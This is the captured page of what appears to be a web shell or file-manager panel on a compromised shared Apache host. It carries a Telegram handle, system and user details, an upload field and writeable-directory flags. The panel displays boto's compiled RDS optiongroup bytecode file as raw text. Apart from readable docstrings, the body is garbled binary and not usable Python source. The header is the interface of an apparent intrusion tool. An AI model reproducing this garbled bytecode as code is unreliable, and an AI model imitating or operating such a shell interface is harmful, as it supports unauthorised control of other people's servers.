https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/rds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/rds/__pycache__/optiongroup.cpython-310.pyc
o

ckF[1=�@s�dZddlmZddlmZGdd�de�ZGdd�de�ZGdd	�d	e�ZGd
d�de�Z	Gdd
�d
e�Z
Gdd�de�ZdS)z
Represents an OptionGroup
�)�DBSecurityGroup)�	ResultSetc@s@eZdZdZ			ddd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�OptionGroupa�
    Represents an RDS option group

    Properties reference available from the AWS documentation at
    http://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_OptionGroup.html

    :ivar connection: :py:class:`boto.rds.RDSConnection` associated with the
                      current object
    :ivar name: Name of the option group
    :ivar description: The description of the option group
    :ivar engine_name: The name of the database engine to use
    :ivar major_engine_version: The major version number of the engine to use
    :ivar allow_both_vpc_and_nonvpc: Indicates whether this option group can be
                                     applied to both VPC and non-VPC instances.
                                     The value ``True`` indicates the option
                                     group can be applied to both VPC and
                                     non-VPC instances.
    :ivar vpc_id: If AllowsVpcAndNonVpcInstanceMemberships is 'false', this
                  field is blank. If AllowsVpcAndNonVpcInstanceMemberships is
                  ``True`` and this field is blank, then this option group can
                  be applied to both VPC and non-VPC instances. If this field
                  contains a value, then this option group can only be applied
                  to instances that are in the VPC indicated by this field.
    :ivar options: The list of :py:class:`boto.rds.optiongroup.Option` objects
                   associated with the group
    NFcCs.||_||_||_||_||_||_g|_dS�N)�name�engine_name�major_engine_version�description�allow_both_vpc_and_nonvpc�vpc_id�options)�self�
connectionrrrr	r
r�r�6/usr/lib/python3/dist-packages/boto/rds/optiongroup.py�__init__:s
zOptionGroup.__init__cC�
d|jS)NzOptionGroup:%s�r�r
rrr�__repr__E�
zOptionGroup.__repr__cCs |dkrtdtfg�|_dSdS)N�Options)r�Optionr�r
r�attrsrrrr�startElementHs
�zOptionGroup.startElementcCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr8|��dkr3d|_dSd|_dS|d	krA||_dSt|||�dS)
N�OptionGroupName�
EngineName�MajorEngineVersion�OptionGroupDescription�%AllowsVpcAndNonVpcInstanceMemberships�trueTF�VpcId)rrrr	�lowerr
r�setattr�r
r�valuerrrr�
endElementPs






zOptionGroup.endElementcCs|j�|j�Sr)r�delete_option_grouprrrrr�deletecszOptionGroup.delete)NNNNNFN)	�__name__�
__module__�__qualname__�__doc__rrrr'r)rrrrrs
�rc@s8eZdZdZ			ddd�Zdd�Zdd	�Zd
d�ZdS)
ra�
    Describes a Option for use in an OptionGroup

    :ivar name: The name of the option
    :ivar description: The description of the option.
    :ivar permanent: Indicate if this option is permanent.
    :ivar persistent: Indicate if this option is persistent.
    :ivar port: If required, the port configured for this option to use.
    :ivar settings: The option settings for this option.
    :ivar db_security_groups: If the option requires access to a port, then
                              this DB Security Group allows access to the port.
    :ivar vpc_security_groups: If the option requires access to a port, then
                               this VPC Security Group allows access to the
                               port.
    NFc		Csh||_||_||_||_||_||_||_||_|jdur g|_|jdur(g|_|jdur2g|_dSdSr)rr	�	permanent�
persistent�port�settings�db_security_groups�vpc_security_groups)	r
rr	r.r/r0r1r2r3rrrrws



�zOption.__init__cCr)Nz	Option:%srrrrrr�rzOption.__repr__cCsX|dkrtdtfg�|_dS|dkrtdtfg�|_dS|dkr*tdtfg�|_dSdS)N�OptionSettings�DBSecurityGroupMemberships�VpcSecurityGroupMemberships)r�
OptionSettingr1rr2�VpcSecurityGroupr3rrrrr�s���zOption.startElementcCs�|dkr	||_dS|dkr||_dS|dkr&|��dkr!d|_dSd|_dS|dkr:|��dkr5d|_dSd|_dS|dkrEt|�|_dSt|||�dS)	N�
OptionName�OptionDescription�	Permanentr!TF�
Persistent�Port)rr	r#�	permenantr/�intr0r$r%rrrr'�s





zOption.endElement)NNFFNNNN�r*r+r,r-rrrr'rrrrrgs
�rc@s8eZdZdZ			ddd�Zdd�Zdd	�Zd
d�ZdS)
r7a�
    Describes a OptionSetting for use in an Option

    :ivar name: The name of the option that has settings that you can set.
    :ivar description: The description of the option setting.
    :ivar value: The current value of the option setting.
    :ivar default_value: The default value of the option setting.
    :ivar allowed_values: The allowed values of the option setting.
    :ivar data_type: The data type of the option setting.
    :ivar apply_type: The DB engine specific parameter type.
    :ivar is_modifiable: A Boolean value that, when true, indicates the option
                         setting can be modified from the default.
    :ivar is_collection: Indicates if the option setting is part of a
                         collection.
    NFc

Cs:||_||_||_||_||_||_||_||_|	|_dSr)	rr	r&�
default_value�allowed_values�	data_type�
apply_type�
is_modifiable�
is_collection)
r
rr	r&rArBrCrDrErFrrrr�s
zOptionSetting.__init__cCr)NzOptionSetting:%srrrrrr�rzOptionSetting.__repr__cC�dSrrrrrrr��zOptionSetting.startElementcCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkr6||_dS|dkr?||_dS|dkrS|��d	krNd
|_dSd|_dS|dkrg|��d	krbd
|_	dSd|_	dSt
|||�dS)
N�Name�Description�Value�DefaultValue�
AllowedValues�DataType�	ApplyType�IsModifiabler!TF�IsCollection)rr	r&rArBrCrDr#rErFr$r%rrrr'�s.










zOptionSetting.endElement)	NNNFNNNFFr@rrrrr7�s
�
r7c@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)r8zA
    Describes a VPC security group for use in a OptionGroup
    NcCs||_||_dSr)r�status)r
rrRrrrr�s
zVpcSecurityGroup.__init__cCr)NzVpcSecurityGroup:%s)rrrrrr�rzVpcSecurityGroup.__repr__cCrGrrrrrrrrHzVpcSecurityGroup.startElementcCs4|dkr	||_dS|dkr||_dSt|||�dS)N�VpcSecurityGroupId�Status)rrRr$r%rrrr's


zVpcSecurityGroup.endElement)NNr@rrrrr8�s
r8c@s:eZdZdZ				ddd�Zdd�Zdd	�Zd
d�ZdS)
�OptionGroupOptiona�
    Describes a OptionGroupOption for use in an OptionGroup

    :ivar name: The name of the option
    :ivar description: The description of the option.
    :ivar engine_name: Engine name that this option can be applied to.
    :ivar major_engine_version: Indicates the major engine version that the
                                option is available for.
    :ivar min_minor_engine_version: The minimum required engine version for the
                                    option to be applied.
    :ivar permanent: Indicate if this option is permanent.
    :ivar persistent: Indicate if this option is persistent.
    :ivar port_required: Specifies whether the option requires a port.
    :ivar default_port: If the option requires a port, specifies the default
                        port for the option.
    :ivar settings: The option settings for this option.
    :ivar depends_on: List of all options that are prerequisites for this
                      option.
    NFcCsj||_||_||_||_||_||_||_||_|	|_|
|_	||_
|j	dur)g|_	|j
dur3g|_
dSdSr)rr	rr�min_minor_engine_versionr.r/�
port_required�default_portr1�
depends_on)r
rr	rrrVr.r/rWrXr1rYrrrr s 


�zOptionGroupOption.__init__cCr)NzOptionGroupOption:%srrrrrr6rzOptionGroupOption.__repr__cCs2|dkrtdtfg�|_dS|dkrg|_dSdS)N�OptionGroupOptionSettings�OptionsDependedOn)r�OptionGroupOptionSettingr1rYrrrrr9s�
zOptionGroupOption.startElementcCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkrA|��dkr<d|_dSd	|_dS|d
krU|��dkrPd|_dSd	|_dS|dkri|��dkrdd|_dSd	|_dS|dkrtt	|�|_
dSt|||�dS)
NrIrJrr�!MinimumRequiredMinorEngineVersionr;r!TFr<�PortRequired�DefaultPort)rr	rrrVr#r>r/rWr?rXr$r%rrrr'Cs2










zOptionGroupOption.endElement)NNNNNFFFNNNr@rrrrrUs
�
rUc@s6eZdZdZ		ddd�Zdd�Zdd	�Zd
d�ZdS)
r\a

    Describes a OptionGroupOptionSetting for use in an OptionGroupOption.

    :ivar name: The name of the option that has settings that you can set.
    :ivar description: The description of the option setting.
    :ivar value: The current value of the option setting.
    :ivar default_value: The default value of the option setting.
    :ivar allowed_values: The allowed values of the option setting.
    :ivar data_type: The data type of the option setting.
    :ivar apply_type: The DB engine specific parameter type.
    :ivar is_modifiable: A Boolean value that, when true, indicates the option
                         setting can be modified from the default.
    :ivar is_collection: Indicates if the option setting is part of a
                         collection.
    NFcCs(||_||_||_||_||_||_dSr)rr	rArBrDrE)r
rr	rArBrDrErrrrts
z!OptionGroupOptionSetting.__init__cCr)NzOptionGroupOptionSetting:%srrrrrr}rz!OptionGroupOptionSetting.__repr__cCrGrrrrrrr�rHz%OptionGroupOptionSetting.startElementcCs�|dkr	||_dS|dkr||_dS|dkr||_dS|dkr$||_dS|dkr-||_dS|dkrA|��dkr<d|_dSd	|_dSt|||�dS)
N�SettingName�SettingDescriptionrLrMrOrPr!TF)rr	rArBrDr#rEr$r%rrrr'�s






z#OptionGroupOptionSetting.endElement)NNFNNFr@rrrrr\cs
�	r\N)r-�boto.rds.dbsecuritygroupr�boto.resultsetr�objectrrr7r8rUr\rrrr�<module>sHMAW

https://t.me/RX1948 - 2025